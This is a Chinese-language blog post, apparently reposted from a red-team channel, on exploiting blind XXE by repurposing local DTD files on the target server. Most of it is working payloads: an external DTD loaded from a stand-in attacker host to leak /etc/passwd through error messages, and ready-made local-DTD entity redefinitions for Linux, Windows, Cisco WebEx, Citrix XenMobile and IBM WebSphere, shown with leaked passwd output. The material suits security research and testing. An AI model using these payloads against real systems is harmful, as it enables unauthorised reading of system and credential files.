利用XXE获取本地DTD文件

admin 2024年10月19日23:48:39评论19 views字数 2716阅读9分3秒阅读模式

一个小技巧,记录下

想象一下你有一个 XXE。支持外部实体,但服务器的响应始终为空。在这种情况下,您有两个选择:基于错误的利用和 带外利用。

例如

Request

<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">    %ext;]>

返回

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/usr/bin/nologindaemon:x:2:2:daemon:/:/usr/bin/nologin

ext.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;

您正在使用外部服务器来传送 DTD 负载。如果您和目标服务器之间有防火墙怎么办?

如果我们直接将外部 DTD 内容直接放入 DOCTYPE 会怎样?如果我们这样做,总会出现一些错误:

request

<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % file SYSTEM "file:///etc/passwd">    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">    %eval;    %error;]><message></message>

返回

Internal Error: SAX Parser Error. Detail:The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD.

外部 DTD 允许我们将一个实体包含在另一个实体中,但在内部 DTD 语法中是禁止的。

我们可以在内部 DTD 中做什么?

要在内部 DTD 子集中使用外部 DTD 语法,您可以在目标主机上暴力破解本地 DTD 文件,并在其中重新定义一些参数实体引用:

Request

<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">    <!ENTITY % condition 'aaa)>        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">        &#x25;eval;        &#x25;error;        <!ELEMENT aa (bb'>    %local_dtd;]><message>any text</message>

返回

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/usr/bin/nologindaemon:x:2:2:daemon:/:/usr/bin/nologin(No such file or directory)

sip-app_1_0.dtd

<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"><!ELEMENT pattern (%condition;)>

这是可行的,因为所有 XML 实体都是常量。如果您定义两个具有相同名称的实体,则仅使用第一个实体。

我们怎样才能找到本地的DTD文件呢?

没有什么比枚举文件和目录更容易的了。以下是该技巧成功应用的更多示例:

Linux系统

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"><!ENTITY % ISOamsa 'Your DTD code'>%local_dtd;

Windows系统

<!ENTITY % local_dtd SYSTEM "file:///C:WindowsSystem32wbemxmlcim20.dtd"><!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>%local_dtd;

思科网讯

<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"><!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>%local_dtd;

Citrix XenMobile 服务器

<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"><!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>%local_dtd;

IBM WebSphere Application Server 上的任何 Web 应用程序

<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd"><!ENTITY % xs-datatypes 'Your DTD code'><!ENTITY % simpleType "a"><!ENTITY % restriction "b"><!ENTITY % boolean "(c)"><!ENTITY % URIref "CDATA"><!ENTITY % XPathExpr "CDATA"><!ENTITY % QName "NMTOKEN"><!ENTITY % NCName "NMTOKEN"><!ENTITY % nonNegativeInteger "NMTOKEN">%local_dtd;

原文始发于微信公众号(红队笔记录):利用XXE获取本地DTD文件

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月19日23:48:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用XXE获取本地DTD文件https://cn-sec.com/archives/1885452.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息